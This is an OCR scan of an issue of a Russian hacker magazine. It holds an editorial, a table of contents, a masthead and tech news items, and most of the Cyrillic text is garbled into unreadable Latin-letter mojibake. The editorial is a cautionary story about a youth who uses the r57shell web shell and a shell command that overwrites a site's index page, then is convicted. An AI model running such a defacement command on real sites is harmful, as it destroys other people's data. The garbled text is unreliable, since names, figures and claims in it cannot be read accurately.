You are on page 1of 133

A ..

nOKEPHblH

_-'" ~_o

COiiiiiiiiiiiiiiio

;;;_0

:::J= .....

=-

KO,ll;MHr IJOTA:

JIOrl1KA ITPI1H5ITI15I PEIIIEHI1I1 CTP.96

3HaKOMbC51: Oner nIilHAeL\, 17 ne r. np0>KIiISaeT no anpecy

r. Bepxune Jloxvr, yn. JleHIiIHa, ,o,OM 1. 3aii,o,>l26 aarycra 2010 rona Ha IiIHTepHeT-cjJ0pYM forurn.anti-torurn.ru . Oner YBIiI,o,eJlIiIHTepecHYIOTeMy«3aL\eHIiITe 3aJlIiITblii uienn».

B TeMe YKa3bIBaJlOCb, LiTO Ha web-canre www.ulJlJerlohi-online.ru co,o,ep>KIiITC51 oWIiI6Ka B CTaH,o,apTHo~ eMS.

VI O,o,IiIH,YMeJleL\ Y>Ke 3aKaLiaJl ryna uier n n npennaraer BceM >KeJlalOll\IiIM nonpcoosan, ce6>1 B POJlIiI KYJl-XaL\Kepa, nepeii,o,>I no npe,o,CTaBJleHHOii CCbIJlKe.

nonp060BaTb ce651 B penn KYJl-XaL\Kepa Oner nlilH,o,eL\ XOTen Y>Ke OLieHb ,o,aBHO, n03TOMY cnlOHIiI nOTeKJlIiI no ero ll\eKeOLieHb06Ii1nbHO,acep,o,eLiKOYCKOpIiIJlOTeMnno,o, ,o,eiiCTBlileM Bbl,o,eJlIiIBWVlXC51 ropMOHOB. nepe~,o,>I no ccunxe VI nore.kas no CCblnO'-lKaM YCTaHOBJleHHOrO r57shell, Oner 6bln BHe ce6>1 OT pa,o,OCTIiI VI rpysa CBaJlVlBWerOCR Ha Hero C'-IaCTb>l. Be,o,b s TOT MOMeHT BC51 cy,o,b6a wso-caara www. ulJlJer-lohl-online.ru Haxo,o,VlnaCb B ero pykaxl YT06bl3acjJVlKCVlpOBaTb B BeKax 3TOTC'-IaCTJlVlBblii MOMeHT, Orier nVlH,o,eL\ peurun BblnOJlHVlTb O,o,HY KOMaH,o,y, KOTOpylO ckonupoaan ace c rof >Ke Liy,o,eCHoii cjJOPYMHO~ BeTKVI:

$ echo "hucked buy meq amoz d ' Gritz to anti +f o r um . ru kru I" > /www/public html/ index.php

nOpa,o,OBaBWIiICb HeO>KVI,o,aHHbIM npVlKJlIOLieHVl51M VI nOXBaCTaBWIIICb nepe,o,,o,PY3b51MIIII<PYTbIM CKPIIIHWOTOM, Oner n VI H,o,eL\ 6Jla rnnony-u o 3a6blJl n po BCIO IIICTOPVlIO POBHO,o,O 9 yrpa 12 ,o,eKa6p>I 201 0 rona.

3TOT ,o,eHb Ha'-laJlC>I ,o,Jl>l Onera nlllH,o,eL\ Heo6bILiHO: rorma rpy6blx poaoaouieknx My>KLiIllH MOll\HbIMIil y,o,apaMVI uor CBaJlIIIJla ero KIIITa~cKYIO >KeJle3HYIO ,o,Bepb C XIIIJlblX nerens VI npcsena 3a,o,ep>KaHlile ncnoapesaeuoro B cOBepweHlII1II npecrynneunu no CTaTb511v1 272111 273 YK PCD

B xone CJl e,o,CTB VI >I Or.er nlllH,o,eL\ nOJlHOCTblO npn.n+ar CBOIO BI-1Hy 1-1 pacl<a>lnCS1 B co,o,e51HHOM. YLimblBa51 not-touis CJl e,o,CTB 1-1 10 , a TaK>Ke nOJlO>KIIITeJlbHYIO xapar repncrncy

C MeCTa YLie6bl, BepXHeJlOXOBCKOii 10 pO,o,CKOii cy,o, npnroeopun Oner a nlilH,o,eL\ 1993 rona pO>K,o,eHVI>I K urrpaoy B 50 000 py6ne~ iii 3 rOAaM JlIiIWeHliI>I csobonu ycnoauo.

BOTTaKa51 BbIMbIWJleHHa51, HO Kpa~He peanI-1CTW-IHaS1 no TenepeWHI-1M BpeMeHaM I-1CTOPI-151. VI MOpaJlb TYTTO>Ke O'-leHb npocras:

1. B Jl106blX 06CT051TeJlbCTBaX Hy>KHO VlMeTb CBOIO ronoay Ha nne-tax, nOTOMY '-ITO OTBeLiaTb sa CBOVI ,o,eiiCTBVI>I scerna nplllxo,o,IIITc51caMoCT0S1TeJlbHo.

2. Hecr-ro rpv Ha KOCHOCTb, HenpocjJeccVlOHaJllll3M III Me,o,JlIIITeJlbHOCTb CVlJlOBblX oprauoa. OHVI Y>Ke ,o,aBHO HaYLiIllJlIIICb onpenensrs MeCTO >KIIITeJlbCTBa He TOJlbKO no ip-anpecy. HO III no Hili Ky/noCTY Ha oopyue, a IIICnOJlb30BaHVleTaKlllxLiy,o,eCH~xcpe,o,CTB3all\VlT~,KaK socks/vpn, He scet.aa OKa3bIBaeTC51 3cjJcjJeKTIIIBHbIM.

3. VI rJlaBHa>l MOpaJlb: eCJlIiI XOLieTC51 '-ITO-TO nOJlOMaTb, TO CTaBb ce6e Ha localhost l<aKoii-HVl6y,o,b DVL VI JloMaii caM ce6>1 Ha suopoaee. VI scerna. B Jl1060M cny-iae. cOVl3Mep51ii npnofiperaeuoe C MacwTa60M nOTeHL\VlaJlbHbIX Tpa6JlOB.

nikitozz, rn, pen, X

CONTENT

MegaNews

004

Bee HOBoe 3a nocne,o,HV1Vl MeCSiLJ,

FERRUM.

018

CHna B Mo6HnbHOCTH

TeCT~pOBaH~e MOll1HblX Hoyr6yKOB

PC ZONE.

022

LBS-cepBHCbl, HnH 3aLJeM B TeneljJoHe GPS?

Ha 4TO cnocofnu, CepBI-1Cbl, OCHosaHHbie Ha MeCTononO>KeHV1\11 a60HeHTa

026

HaK npOKaLJaTb Nmap?

Pean~3yeM ccficrsenaue nposepuB 1t13BeCTHDM CKaHepe 6e30naCHOCHl

030

nporpaMMHCT OHnaHH

none3HbleryJ13bl gnSi neaenonepa B se5e

034

HonOHKa pe,ll,aKTOpa

AneKc Mor~neBCK~ii" Internet Explorer9

036

MeHe,ll,)f(ep naKeTOB,II,JIR Windows

5blCTpaSi YCTaHOBKa \11 o6HOBneH\I1$i nporpa-n«

B3nOM.

040

Easy-Hack

XaKepCK~e cexperu npocrux Bell1eii

044 0630P 3KcnnOHTOB

AHaJ1V13 CSe>KeHbKV1X YS13B\I1MOCTeCi

050

Ka3yanbHoe BCKpblTHe B noneBblX ycnoBHRX

flOMaeM ~rpbl OT NevoSoft

054 npOHI1KHOBeHl1e B nsar Opencart

83J10M ,lJ,Bv1>KKa OHJ1aIl1H-Mara3V1Ha Opencart

060

MHorOpa3pR,II,Hble wenn-KO,ll,bl

n~weM ringO-shellcode nOA Windows x64

064 TpexMepHblH B3nOM

Burnp Top """ bera-aepcns 6YAYll1ero

066 HIlIHK naH,II,0pbl

MaCCOBblV! B3J10M 1-13seCTHblx3apy6e>KHblX cpaH-caViToB

070 X-Tools

CUEHA.

072 3aKOHvsCeTb

CDaillnoo6MeHHbie XOJ1V1Sapbl pyuera

IOHHKCO~.ll.

078

Benl1KI1H ljJaHnoBblH nyTb

0630P HOB"HOK B M"pe ¢aiinOBblX C~CTeM

082

Onepalll1R «OnTI1MI13allI1R»

COBeTbl nOYCKOpeH"1O Ubuntu

086

nl1HrBHH B 6ap,ll,aLJKe

C06111paeM nOJ1HOLJ,eHHblll1 aSTOM06V1J1bHbIVl KOMnblOTep C Linux Ha 60P1Y

KO.llHHf.

090

HaTRrHBaeM cereaue poker mom'u

KOA"HrnOKep-6oTa: r.oruka np"H"T~" peweH~ii

096

Earn cash now!

XaK xsu.a Windows: HOBbli71 B3rml,IJ, B V1HTVlMHbte rny6VlHbi DC

100 YR3BI1MOCTI1 online

106

nporpaMMepCKl1e Tl1nCbl11 TPI1KCbl

npaBVlna KO,lJ,VlHra Ha C++)J,Jl>=l HaCTOrlUJ,VlX cneuos

SYN/ACK.

114 CaHI1TapHaR o6pa6oTKa oljJHca

Bbl6~paeM KOpnopaT~BHblii aHT~B~pye

116

UeHTp cereaern KOHTponR

[locrpoeuwe u.ruosa ~ ceresoro ¢"nbTpa C novouiuo Ideco Control Server

120 CTaBI1M Ha YLJeT xeneae H COIjJT

KaK npOBeeTW ~HBeHTap~3aL1"1O o60pYAOBaH""" nporpau-n-oro o6ecne4eH!I1s:J, o60l:1,o,s:lCb Manol:1 KPOBblO

125 OrHeHHaR ,ll,yra

3aLU,VlLU,aeMC>=l QTB3nOMLU,lIIKOB c nOMOLU,bfO iptables, ipfw III pf

IOHHTbl

130 HHTepBblO C torrents.ru

,lJ,ononHeHVle K MaTeplllany «3aKOH vs Cers »

132 PSYCHO: ~epHoe I1CKYCCTBO paCTneHI1R ,ll,yw

Coapeveuuas MaCC-Me)J,l!1a peansaocrs Vi ee BnilH1HVle ua ¢OpM"pOBaH~e M~pOB033peH""

138 FAa UNITED

50flbwoii FAQ

142 JlI1CKO

8.5 16 BCrlKO~ BC~4111Hbl

144 WWW2

Y/106Hble web-cepsucsi

026

KaK npOKallaTb Nmap?

Pea.f1V13yeM cobcreeuuue npoaepku

B 1I13SeCTHOM CKaHepe 6e30naCHOCTVl

054

npOHHKHOBeHHe B ollar Opencart

B3nOM ,D,BV1>KKa oHnatliH~Mara3!;1Ha Opencart

090

HaTlIrHBaeM cereeue poker rnnm'u

Ko,o,VlHinOKep-6ora: norwxa npVlHJ=!TIt1s:l peWeHlt1t11

UeHTp cereaoro KOHTponll

nOcrpoeHVle uiruoaa 1:1 ceresoro cpl:1JlbTpa c nOMOLl1blO Ideeo Control Server

IPEAAKLlHSI

>rnaBHblM peAaKTOp

HI-lKVlTa «nikitozz» K~CJlVl4VlH (nikitoz@real_xakep.ru) >BblnYCKalOlQ"'" penaercp Hl<lKOJ1ai1«gorL»AHApeeB (gorlum@real,xakep.ru) >PeAaKTopbl py6pMK B3nQM

DMVlTpV1Ci"Forb» ,[IoKyyaeB (forb@real.xakep.ru) PC_ZONE Vl UNITS

Crenae «step» V!JlbVlH (stepeareal.xakep.ru) UNIXOID, SYN/ACK ~ PSYCHO

AneKcaHAP «Dr. Klouniz,>11030BcKI-1l1 (alexander@real.xakep.ru) >nMTepaTYPHbIM pe,QaKTop )()JlI-1SiA,lI,aCIo1HCKaSi

>PeAaKTop xakep.ru

neoHVI.o, 50romo608 (xa@real.xakep.ru)

IART

>ApT·AMpeKTop

EsreHVlVl HOSI'lKOS (novikov.e@gameiand.ru) >BepCTanbll!.ltK

Bepa Csernax (svetlyh@gameland.ru)

IDVD

>BblnycKaIOI1UI" peAaKTop

>PeAaKTOp unlx-peanene AHTOH «Ant» )KYKOS >MoHTa>KBMAeO MaKcVlMTpy6VlLl,bIH

IPUBLISHING (gameJland

>Y'lpeAItTenb

000 «reViM JhH,D,». 119021. Mockea.yn. TVlMypa CDpYH3e,,o,. 11, CTp. 44~45

Tefl.: +7 14951935-7034

CDaKe: +7 [495)780-8824 >reHepanbHblM AHpeKTCp AMwTpl'lC1ArapYHoB

>YnpaBnSlIOIl!.HH AHpel<TOp

Aasw,o, WOCTaK

>AHpeKTop no pa3BHTHIO

Flaura POM8HOSCKWC1

>AHpeKTop no nepcouany

TaTbRHa ly,o,e6cKa8

>4>HHaHcoBbIM AHpeKTCp AHaCT8C1-18J1eoHos8

>PeAaKIIHoHHbIM AltpeKTOp AMVlTpwIliJ1a,o,bl>KeHCKI'IVI >PR~MeHeA>Kep

Heranea Jbrreaaoecees

>AHpeKTop no MapKeTItHry

,o,MvnPVlLIi Flrnourea

>rnaBHblM Alt3aMHep

3HAVI Tepuoynn

>AltpeKTOp no npolt3BOACTBY Ceprea KY'-fepS'lBbltlr

IPEKnAMA

/ Ien.. 14951935· 7034,4>."" 14951780-8824 >AHpeKTop rpynnbl GAMES & DIGITAL EsreHVlR IOpR'-IeSa [qoryachevafdqarnelend.ru]

>MeHeA>Kepbl

On bra EMeflbRHLl,eSa Mapl'IR Hecrepoaa Mapaa Haeoneeueo Mapnt+a PYMRHL\eSa

>MeHeAmep no npoAa>Ke GameLand TV MaKo'M Co6ones

>Pa60Ta C peKnaMHblMIt areHTCTBaMH J11'1,D,Itl>l Crpexaeea lstreknevafdqametand.rul >CTapWItH MeHeA>Kep

Ceerneas nltlHllYK

>MeHeA>Kepbl

Ha,o,e>K,D,8 rOHlJapOS8

Hararu,a Macnoxoea

>Altpel<Top rpynner cneunpoenrce ApceHVlIIi AWOMKO lashornkofdqarnetano.rul >CTapwHH Tpa<j)HK·MeHeA>Kep

Mapea Aneeceeea

IOTA En PEAnH3ALlHH cnELlnpOEKTOB

>AltpeKTOp

AneKcaHAP Kopeudienen [korenlelofdqarneland.ru] >MeHeA>Kepbl AneKC3H,D,p fYPbRWKVlH Ceernaea Monnep

lonTOBASI npOAA>KA

>AltpeKTOp crnene AltCTplt6YLlHH

AHApeili Crenaaoe (andrey@gameland.ru) >PYK090AHTenb MOCKOBCKoro uanpeeneaaa

Onera Ileeansn (devald@gameland.ru) >PYKOBOAItTenb peraoaaneacrc Hanpa9neHitA

TaTbRHa Koureneee (kosheleva@gameland.ru)

>PYKOBOAHTenb ctnena nOAnltCKIt Mapaua fOH'-IapOBa (oonc-arovaccameano.ru)

ren.: (495) 935.70.34

rpakc: (495) 780.88.24

> rOpA'laA nHHItA no nOAnltCKe ren.: 8 (800) 200 .. 3.999

Eecrtnarac ,qnR 3S0HRLLlwX 1-13 Poccwa > AnSI nltCeM

101000,

«Lienrvas Rivasv.Jlarea. Tapa», 100 DUO 3K3eMnmpoB Ueua noroeopaaa.

MHeHl-1e peAaKLl,l-1V1 He 061i3aTenbHO coenanaer c MHeHl'1eM aSTopOB. P8,D,aKL\,Hi yB8,D,OMrlIi8T: ace MaTepltlanbl S HOMepe npenocraanaorcs KaK WH¢OpMaLl,WR K pa3MblwneHWKl. 1l1'lLJ,a,

3TVlXCrlY4aRxoTB8TCTS8HHOCTVl H8H8C8T. PeAaKLl,l-1R He H8ceT OT88TcTseHHocTVl aa CO,D,ep>K3HWe peKn3MHbiX 06bl'lslleHI1i1i 8 HOMepe 3a nepenevancy HawVlX MaTepl'1anOs 683 cnpoca - npeCIl8AYeM

no eonpuceta nltlL(eH3v'pOSaHI'IR ltl nony'-leHI'I>'I

OEO BCEM 3A rrOCJIE,ll,HI1H MECHl_(

AHOH~MHAfI.nPY}f{6A

CYMMAPHOE ~l-1CllO l-1CnpABllEHl-1~ B WIKIPEDIA nEP'EBAlll-1110 3A OTMETKY B 1 MllP,Q.

Tbl HasepHOKa y){(e cnsnuan a craprane Chatroulette! l cbatroulette.ccml. KaTapbl';; cosnan npocrou POCCIilVICKlilll1 O)J,VlHaAu,aTlt1KnaCCHli1KAHApeill TepHOBCKYllII. npoCTeViwas:llt1)J,es:!caVil. paH,lJ,OMHO VI aHOHII1MHO CBs:J3bISaI01LI,l;1!4 nayx nOJlb30SareneVi c nOMOUJ,blO BVl,D,eO l;1 rexcroaoro -rara - suaeana HaCTO$lUJ,VlVI 6YM 8 cen1 lccobe-u-o cpe.an npo-reooal. CaVir 6bln sanyureu s «ouue 2009 rona, " yxe s cpespane 201 0 ua pecypc u era cosnaren= a6pyWIIlJlaCb (nasa - 0 -iare-pynerxe paccxaaar n «New York Times», «Forbes» lt1 «New York Magazine»; nernuie ua.uero WKOJlbHII1Ka 3aCSeT!t1JlOCb ,lJ,a>Ke 8 South Park. KJHoe naposaHVle, cosnaauree reHVlanbHO npocroa crapra'i, Ha panocrsx ornpaannocs B 61113Hec-TYPHe no AMepIIlKe. rne III HaxoAv1Tcs:! no Celii,D,eHb.l13-3a okeana ill npuu.na V1H¢opMau,lI1$1 0 TOM, YTO AH/1Pe';; 3aAYManco HaA SHeApeH"eM S Chatroulette CPYHK~"" «aHOH"MHO';; APy){(6bl». Ile.no B TOM, 4TO ceVlLJac nOHpaB\I1BWll1eC~ npyr npyry ioaepu BbIHY>Kp,eHbl 06MeHIIIBaTbc~ HIIIKHeWMaMVl, ap,pecaMVl nc-m». Skype, ICQ Vl TaKp,anee, xyna OHVl enocnencra-u- Vl yxonsr ofiuiansca. ocraar.as «PYJleTKY» aa 60pTOM. lIT06bl OCTaHOBIIITb 3TOT ODOK nonsaoaarenea w,o,aTb 111M B03MO>KHOCTb nponcnxart, II1MeHhO aHOHV1MHoe ofiutetu.te. AHApew V1 ofieuraer HOSYfO q,VlWKy. CTOV1T 3aMeTltITb, lJTO MHOrOlJ\I1CneHHble KJ10Hbl, Y>Ke nOs:lBII1BWlI1eCs:l B CeTII1, 111 6e3 3TOro He MOryl" naxe 6m13KO cpaBHV1TbGl c Chatroulette no noceuraeuocru.

PE6YT HOH-CTOnOM AftcAfee® IPAD B HAWHX PYKAX

AnAe';;T McAfee OAT 5958, BblnYlLleHHbl';;, KaK HeTpYAHo noranan.cs. K ourenovarensuo ncnynspuot-y ua sanane aHTII1BlI1pyCY McAfee, npnsen K OlJeHb Henpll1s:lTHoMY C60fO B pafiore KOMnuorepoa naAynpaBneHl1eM WindowsXP SP3. 06HOSneH"e C4"TaeT, 4TO npouecc svchast.exe [Services] - 3TO B"PYC W32/ Wecorl.a.u YSOA"T nK s eeCKaHe4Hblii. 6ecnpocseTHbl';; pe6yr. CTOIl1T n\l1 roeopurs, lJTO «tinaronaps» McAfee VI 111 X aHTVlBlI1pfO B se4HYfO nepeaarpysxyyuina MaWVlHbl MHO>KeCTSa KOMMepyeCKV1X opraHVl3aLJ,Vli:1, a TaK>Ke 50J1bHV1LJ" KOJlJle,D,)Kew, V1HCTV1ryTOS VI TaK nanee. BOT 3TO epic fail! V1 XOTIi McAfee Y>Ke 3KCTpeHi-lO sblnycTVlnV1 cneAYlOlLIl1" anAe';;T[vll.nai.colTl/vIi/5958 falsehtlTli,l(oTopbli1 V1CnpaBJ151eT p,OCa,D,Hblw5ar, 60nbwVlHcTSY nonssoaarer ef ne4V1Tb aHTI1S"pyC sce paSHO np"AeTCO Spy4HylO, 113 6e30nacHoro pe>KV1Ma, no Y>Ke ony6nV1KosaHHblM B CeTVI VlHCTPYKLJ,lI1s:1M. C TaKII1MVl aHTII1BVlpycaMII1 HVlKaKII1X BVlpyCOB He HaAO.

~ 004

IOBopsn, YTO nepSblM aSVlapeWCOM nocne crapra npcnax iPad 1113 CaH-CDpaHLJ,VlCKO B MOCKsy npwierer.o ... a>K 1200p,esatl1cos. MO>KHO sepwrs. a MO>KHO HeT, HO MOAHblW ranxer nonan S pyKVI pe,Il,aKLJ,VIVI Y>Ke ua Cf1e,n,YfOw,etl1 ,n,eHb nocne oq,VlLJ,VlanbHoro 3anYCKa: cnacvfio Mara3VlHY aMac.ru! Korna nepsas ecru-a 3Wq,OPIllIll npouina. a p,esawc (npVl Bcew Hawe(;1 Cp,ep>KaHHOCTV1 K Cf1fOHIiM no nosony np0,Il,YKLJ,V1V1 Applel ,Il,eWCTB[.o1TenbHO ane-rarnaer, Mbl 0.-1 orn VI Vl3Y4V1Tb ranxer 4yrb nonpobaee. OKa3anOCb, npasna, 4TO sarpyxars nplllnO>KeHV15=l Vl3 AppStore Hef1b351 = raxoe OrpaHlI14eHVle BBe,n.eHO,Il,n5=l nonssoearenea 1113 POCC~VI. KC4acTbfO, Apple BgaHHoM cny-rae He 01f1bHO savopa-u-aanacs no nOBOAY nposepo« ua 3ToTc4eT, n03TOMY MO>KHO 04eHbnerKO 3aBeCTV1 npocpawn 8 AppStore, npV1KII1HyBWV1Cb VlCTVlHHblM aMepll1KaHLJ,eM Vl ykaaaa aapec B tllrarax. [lccne 3TOro SHOBb n051Bns::leTCIi B03MO>KHOCTb3arpY>KaTb npVlnO>KeHV1$1 KaK c cauoro iPad'a, TaK VllJepe3 iTunes. Ba>KHO, 4TO S wHTepHeTe nponaercs orposu-oe KonVlLleCTBO GiftCard, «orccse MO)KHO npV106pecTII1 C nOMOUJ,bKl nnacTIIIKoBO~ «apTbl, 111 TaKII1M o6pa30M nononHVlTb CyeT ,Il,n}:l nOKynKV1 Y)Ke nnaTHblX nplI1f10>KeHIIIW lccreperatica cpei1Kosi. YBbl, ny6nl14Horo jailbrakee eu.e HeT, XOTO George Hotz [aH >Ke George Hotzi yxe r.cxasan CKpVlHbl 83f10MaHHOro iPad'a. Anpyrue YMenbLJ,bl Y>Ke CYMenll1 YCTaHoBVlTb Windows 95 c novouruo 3Myn"TOpa Bosch

XAKEP 06 /137/10

.nETEKT~BHAfl ~CTOP~fl-IPHONE HOBOrO nOKOnEH~fl

HesepOSHHas:lIllCTOpt-1s:1 npl!IKnlOYVlnaCbC npOTOTVInOM IPhone 4G OT 1(0MnaH"W .. Apple.

Kor,lJ,a Ha caliiTe Gizmodo nOS1Bl-1naCb CTaTb51 0

TOM, HTO KTO-TO "3 COTPYAHWKOB Apple YMYAp"nCSi nOTepsHb npOTOT\!1n HOBOVlTpy6KI!1, KOTOpylO ocpl-1L1,l!IanbHO ,D,OmKHbl 6b1JlV1 npencraaurs TOllbKO neTOM, B 3TO SepV1JlOCbCTPYAOM. O,D,HaKO Gizmodo s:lBYlJlVl ny6m1Ke nOJlHoLl,eHHblill o630pgesaillca

c cpoTorpacpvH1Mlt1, a TaK>Ke nosenanu DTOM, KaK BblKyn\l1JlI!1 3TOT CTpaHHblV! annapar y nap+s. uaureru.rero era B 6ape Gourmet Haus Staudt. aa $50001 B CeT" TYT xe BcnblxHyn" >KapK"e cnopu DTOM, MO>KeT Jl\!13TO 6blTb npaanoii l l-e anpens BCe-TaKI!I Y>Ke npouino], TeM speMeHeM Bbl51CHI!1-

JlOCb, YTO B ynoMS1HyroM nltneHHOM 3aSep,eH\I11!1 B nor.xons.uee BpeMs:! ,[l,eiiiCTBVlTeJlbHO 33BI!1Can COTpy,lJ,HVlK Apple -Ipe~ [layann. Y HYBaKa, Me>KAY npOYI!1M, 6blJl ,lJ,eHb poxneHVls:I. 5ep,onara paboraer [l!1nlt1 yxe «patiorar»] B nO,[l,pa3,[l,eneHI!1It1, 1(0- ropce pa3pa6aTbIBaeT«3BOHlt1nKY» Ane iPhone. 1'13 6apa nayann Aa>Ke uaruican napYTBI!1TOB, a nOTOM, yxo,lJ,)=I, npocro 3a6bln ,[l,eBal71c Hd cryne. HaWeAW"~ Tpy6KY napeHb aoobu.e CHayana peurun, YTO 3TO iPhone 3GS, npovrpar ca C HIIlM, non po-

60Ban noco ropadnapoean.. HO KaMepa rp« pasa kpa.uunacs. C061t1pa)=lCb yeCTHO aepuyr s anna par ananensuy OH yuec ero ,.o,OMOI71. To, YTO iPhone KaKow-To CTpaHHblw, OH 3aMeTilln

ua cne,.o,YIDw,V1~ ,.o,eHb, «crna annapar cua-iana AWCTaH~"OHHO Bblpy6"nw iy Apple ecrs TaKwe cepsucu crieuuansuo Hd cnY4aVl Kpa>Klt1l11nll1 yrepv iPhonel, a nOTOM y Heco soobuie o6HapY>KWnacb<ppoHTanbHaS1 KaMepa ... YYBaKoKa3ancS1 Ha penxocre C03HaTenbHbiM - OH 3BOHI!1n B Apple no Kyye HOMepOB. nblTas:!Cb 06MKHII1Tb 111M curyau-no. HO B 516noYHot:t KOMnaHl!11!1 era cnyuiars He CTam-1,

111 n03>Ke HII1KTOTaK III He nepe3BoHllln. 8 vnore, Tpy6Ka oxaaanacs y pefiar C Cizrnodo 3a ynoMeHYTYID KpyrnylD CyMMy. 8 Gizmodo Ll,epeMOHI!1TbCS1

C ra,o,>KeTOM He CTam1 - ero npenapl!1pOBanlll, 1!13YYl!1n1!11!13aCH)inlll co scex CTOpOH. V13MeHeHVls:! rakonu. nO)=lBlIlnaCb CPPOHTanbHa)i KaMepa, a 06c1YHa51 KaMepa $1BHO 6blna yny-nueua a reneps cHa6>KeHa BcnbIWKOVl. BMeCTO SIM-KapTbl !IIcnonb3yeTC)i Micro-SIM. Pa·3peWeHlI1e 3KpaHa YCTaHOB!IITb He yziar ocs, HO i-a rnas OHO Bblwe, 4eM yTpy60K npownoro nOKOneHlIll=I- npennOJlO>KII1TenbHO 960 ua 640 nl!1KCeneVi. 3neKTpOHHaS1 Ha4lt1HKa ,lJ,eBaVlCa OKa3anaCb ClIlnbHO YMeHbweHa, HO iPhone npn srov ncraxenen

Ha 3 rpaMMa, III 6aTapes:! oraaanacs 60nbwe 06bIYHOV, Ha 16%. 3a,.o,HSis:1 kpsuuca BblnonHeHa

Vl3 CTeKIla IIlIlVI KepaMI!1KVlI!1, crane 6blTb, ,lJ,OJ1>KHa xopowo nponyckars curuan AVl3aVlH cran bcnee yrnoaarsu-. '-ITO V1 nocnY>KV1IlO OCHOBHblM nOBo,o,OM An~ KPWKOB: «3TO cjl3~KI Apple He Moen" raxoe C03,lJ,aTb». Ho iT unes onpenerian 3ara,o,OYHbi Vi anna par KaK iPhone. Hapon B CeT" eLlje nonro Mor 6bl cnopVlTb Ha TeMY «iPhone VlnVl Q)3V1K», HO KOHe~ Ae6aTaM nonoxvno n"(bMo"a Apple. K Gizmodo obparvncs 5pIDc CbID31111, crapun-ti BIIlLJ,e-npe3V1,n,eHT VI reHepa11bHblw IDplt1CKOHCYIlbT «opncpauvn Apple OH nonpocun BepH)'Tb KOMnaHVlIIl Apple npuuannexauiee ew YCTPOVlCTBO. 3aTo rerieps ofiu.ccrucuuocn, MO>KeT cnopnn.no xpunoru, 06cY>K,lJ,aS1, 6bln 3TO cn11aHV1posaHHbliil PR-B6poc VI 11 VI >Ke 3TO ,lJ,eWCTBVlTenbHo uesepos rHas:_ cnyYaiilHOCTb

cnEUbl H3 YHHBEPCHTETA KAPHErH-MEllllOHA BbIHCHHllH: PHTMH~HAH AHHMAUHH npOrPECC-6APA CY6bEKTHBHO «YCKOPHET» 3ArpY3KY HA 10%.

WEBMONEY ~ flH.nEKC . .nEHbr~ CHOBA .nPY3bfl

He TaK AaBHO WebMoney " )1HAeKc.):\eHbe" npeKpaTI!1n1-1 COTpY)),HI!1'-1ecTBo 1!1 o6MeH Me>K,.o,y CBOVlMVl CI!1CTeMaMV1 Vl3-3a 6onbworo 41!1Clla MoweHHv14eCKV1X nepe eonoe. yeM ,lJ,OCTaBI!1IlI!1 HeMano r eucppcs CBOVIM nons- 30B3TenS1M. Ho Ha npowe,lJ,weii1 He,lJ,aBHO

B nOAMOcKoBbe KOHcjlepeH~"" PV1Cjl+KV15 "HTepcjle~ca, KOTOPbl~ re nep s 6YAeT pa6o-

[Ie rp AapaXBenVl,lJ,3e, ,lJ,VlpeKTOp no pa38V1TI!1ID ra rs HenOCpe,lJ,CTBeHHo Me>K,lJ,Y I!1X nnare:«-

WebMoney, 3a>iBV111, 4TO 06MeH Me>K,lJ,y CV1C- HblMI!I CIllCTeMaMV1. D,lJ,HI!IM V13 o6513aTenbHblx

TeMaMI!1 «s 61l1:1>Kav,wee BpeMI=I» 6y.o.eT BOC- ycnoBVIVI ,lJ,Il$l KOHBepTaLJ,1!111l Cpe,lJ,CTB, CY)],S1 no

CTaHOBneH. no ero cnOBaM, KOMnaHV1S1M Bce BceMY, CTaHeT n011Hoe co aneneune I!1MeHVI

>Ke ynar ocs HaViTI!1 KOHceHCYC B OTHoweHVlV1 noru.ac aare.ia B obcux CI!1CTeM3X .

.n)l{E~MC rOCn~Hr nOK~HYn ORACLE

~ 006

COBceM He,lJ,aBHO Mbl nVicaIlV1 0 TOM, 4TO KOMnaHViID Sun Microsystems nOKVlHYIlVl3BecTHeVlWW~ KaHaACKW" nO-paapa6oTH"KT"M 5p3~, 3aHII1MaBWVl Vi TaM)],O nocnenaer o speMeHV1 nocr ,lJ,VlpeKTOpa no Be6-TeXH0110rll1S1M. np0l!130WIlO 3TO 1I13-3a cnerucn l-l d $7,4 M VlnJl Via pne , B peayru.rc-

re KOTOPOW Sun 6blna nornouieua KOMnaHV1ew Oracle. Ho Sp3V, He cran nocne,o,HVlM paspabcrYViKOM, OCTaBVlBwV1M Hosoe-CTapoe MeCTO pa6oTbl. Teneps 1!1 ,.!J,)KetllMC IOCJlVlH r - TO>Ke KaHa,lJ,eu,

V1 roxe pa3pa6oT'-II!1K no C MII1POBblM VlMeHeM, HO,

YTO Sa>KHee acero aSTOp S13blKa Java (MorYYI!1V! yenOBe4V1w,eI1. C006W,V1Il S CBoeM 6nore, LJTO OH YBoIll!1ncS11!13 Oracle, III npolll30wno 3TO ew,e 2-ro anpena.Focnnur nckoe-n-e Vl3BV1HlI1nCS1 r.epen BceMV1, KTO >K,lJ,an ero B nl!1Tepe, Ha KOHcpepeHLjV1V1 Sun TechDays, Ha KOTOp0V, OH He cr-tor npucyrc'rBOBaTb, He s:!BnS1$1Cb 60Ilee COTPY,lJ,HIIlKOM Sun A>KeVtMCTaK>Ke nnuier. 4TO noxa He 3HaeT, KaKOBbl 6y,.o,'YT ero ,lJ,anbHeWwVle nnauu, HO C nOVICKaMI!I HOBOVI paboru OH noxa peurvn nOBpeMeHV1Tb I!I 83>=1Il He6onbwow nepepblB.

XAKEP 06 /137/ 10

FACEBOOK K HAM np~XOn~T

KOMnaHIt171 Facebook gep>KIt1T caoe enOSD - ew,e B npournou rony

crane V13seCTHD, I1TO B 201 O-tv! KpynHe(1wa~ B Millpe COLJ,lIlanbHa71 ceTb nna+upyer aKTVlBHO paCWlI1ps:lTbC71 B cTpaHax BOCTOYHOVI Esponbl, It1 sra I!1HcpopMaLJ,V1s:1 Ha4V1HaeT nO,D,TSep>K,o,aTbU!, a nnaHbl - npeTBOpSHbC71 B >KV13Hb. Facebook BMeCTe co CBOVlMVl 400 MV1JlflVlOHalv1lt1 KJ3epOB VI COTHs:IMill KOMnaHV1f1-napTHepOB no BceMY M!Ilpy rOTOBl:1TCs:I orxpsm, B POCCvlltl

caoe npe,aCT3svnenbCTBO KOMnaHVl7'I Y>Ke ua-iana seen'! nepercaopu

